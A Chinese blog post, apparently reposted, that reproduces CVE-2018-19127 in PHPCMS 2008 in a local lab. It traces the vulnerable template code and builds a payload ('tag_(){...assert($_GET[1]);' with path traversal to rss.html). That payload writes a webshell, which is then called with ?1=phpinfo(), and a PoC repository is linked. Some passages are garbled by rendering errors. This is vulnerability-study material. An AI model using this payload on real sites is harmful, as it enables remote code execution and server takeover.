索之—CVE-2018-19127-phpcms2008漏洞复现

:
本文收首发于我的个人博客:

我的博客
若想又更好的观看体验,请移步至我的博客


这篇文章介绍CVE-2018-19127的复现,是去年阿里发现的,漏洞poc非常精巧.

环境搭建
windows

phpstudy

lamp环境

phpcms<2008

phpcms安装
<PhpCMS2008 sp4 build 20111122 UTF-8>: http://down.chinaz.com/soft/24190.htm

开启phpstudy,将phpcms解压包的phpcms目录放入phpstudy的www目录下,或者用phpstudy再建立个网站. 访问http://127.0.0.1/phpcms 跳转到安装界面:
在这里插入图片描述
正常安装到第三步,我是php5.4.45 它需要short_open_tag扩展,默认不打开,到phpstudy的php.ini,找到这一设置设为ON,重启apache即可.
在这里插入图片描述到最后一步,安装执行sql语句失败,是TYPE错误.原因是mysql数据库版本高于5.1,将phpcms内所有安装文件内的.sql文件中”TYPE=”更改为”ENGINE=”即可,这里我只选择安装必要模块,所以只改了install/main,member/install,order/install与pay/install内的.sql文件.最终安装成功.

漏洞分析
用seay加载phpcms进行分析 漏洞发生在phpcms/type.php文件中,打开type.php

if(empty($template)) $template = 'type';
 
$head['title'] = '类别首页_'.$PHPCMS['sitename'];
 
$head['keywords'] = $PHPCMS['meta_keywords'];
 
$types = array();
 
foreach($TYPE AS $k=>$v) {
 
if($v['module'] != 'phpcms') continue;
 
$types[$k] = $v; } $TYPE = $types; 
 
$ttl = CACHE_PAGE_LIST_TTL; header('Last-Modified: '.gmdate('D, d M Y H:i:s', TIME).' GMT');
 
header('Expires: '.gmdate('D, d M Y H:i:s', TIME + $ttl).' GMT');
 
header('Cache-Control: max-age='.$ttl.', must-revalidate');
 
include template('phpcms', $template); cache_page($ttl);

关键两句

if(empty($template)) $template = 'type';
 
include template('phpcms', $template);

包含了经过template函数处理的文件,全局搜索一下函数,在include/global.func.php文件中:

function template($module = 'phpcms', $template = 'index', $istag = 0) 
{ 
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; 
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile))) 
{ 
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag); 
} 
return $compiledtplfile;
}

if条件进行了三个判断,想执行require_once()函数,我们要用KaTeX parse error: Expected 'EOF', got '&' at position 37: …第一个TPL_REFRESH &̲& (!file_exists…compiledtplfile) 与第二个@filemtime(TPL_ROOT.TPL_NAME.’/’. m o d u l e . ’ / ’ . module.’/’. module./.template.’.html’判断是假,而第三个,文件TPL_ROOT.TPL_NAME.’/tag.inc.php即template/default/tag.inc.php时钟存在,而compiledtplfile是我们利用payload新建的文件所以这个为真.

可以看到进入if之后,包含了一个函数文件,并执行了

template_compile($module, $template, $istag);

跟进include/template.func.php文件查看此函数:

function template_compile($module, $template, $istag = 0) 
{ 
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html'; 
$content = @file_get_contents($tplfile); if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; 
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content); 
$strlen = file_put_contents($compiledtplfile, $content); 
@chmod($compiledtplfile, 0777); 
return $strlen; 
}

第一个函数便是,先是由 t e m p l a t e 参 数 组 成 的 template参数组成的 templatetplfile文件是否存在,再判断 t e m p l a t e 前 四 个 字 符 是 否 为 t a g , 若 是 , 就 将 template前四个字符是否为tag_,若是,就将 templatetag,,template参数写入PHP文件中.

poc构造
首先文件经过 t e m p l a t e 包 含 了 d a t a / c a c h e t e m p l a t e / p h p c m s ’ . template包含了data/cache_template/phpcms_’. templatedata/cachetemplate/phpcms.template.’.tpl.php

而在template_compile函数中又将 t e m p l a t e 中 的 内 容 写 到 了 这 个 文 件 中 , 这 个 内 容 我 们 可 以 控 制 , 要 想 写 入 , template中的内容写到了这个文件中,这个内容我们可以控制,要想写入, template,,,template前四个字符得为’tag_’

之后一个难点就是让 t e m p l a t e 参 数 既 包 含 代 码 , 而 且 t e m p l a t e / d e f a u l t / . template参数既包含代码,而且template/default/. template,template/default/.template.’.html文件又存在,看看emplate/default/目录:

在这里插入图片描述

这样看来最后几个字符也已经确定了,让参数template参数绕过代码一级的目录回到上一级,这里选择rss.html文件,那么$template参数是tag_xxxxxx/…/rss

最后就是看写入的PHP代码语法问题了

<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>

首先当然就是要函数名$template=tag_(){}xxxxxxx/…/rss

中间的部分就可以随便填代码了,最后为了不显示不可预料的错误将后面的代码注释掉,结合之前的目录路径’/’,现在KaTeX parse error: Expected '}', got 'EOF' at end of input: …,所以终极版payload就是template=tag_(){code{//…/rss,code代码用assert($_GET[1]);试验一下.

之前创建的php文件是data/cache_template/rss.tpl.php,访问:

127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()

成功执行:
在这里插入图片描述

poc利用代码
talking is cheat,show me the code.

python利用代码我放在了我的github上:

https://github.com/turben/poc/tree/master/phpcmspoc

在这里插入图片描述

还有phpcms的所有目录文件,用作以后的目录爆破.

参考:
https://www.jianshu.com/p/8dc6eade220f

https://github.com/ab1gale/phpcms-2008-CVE-2018-19127

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值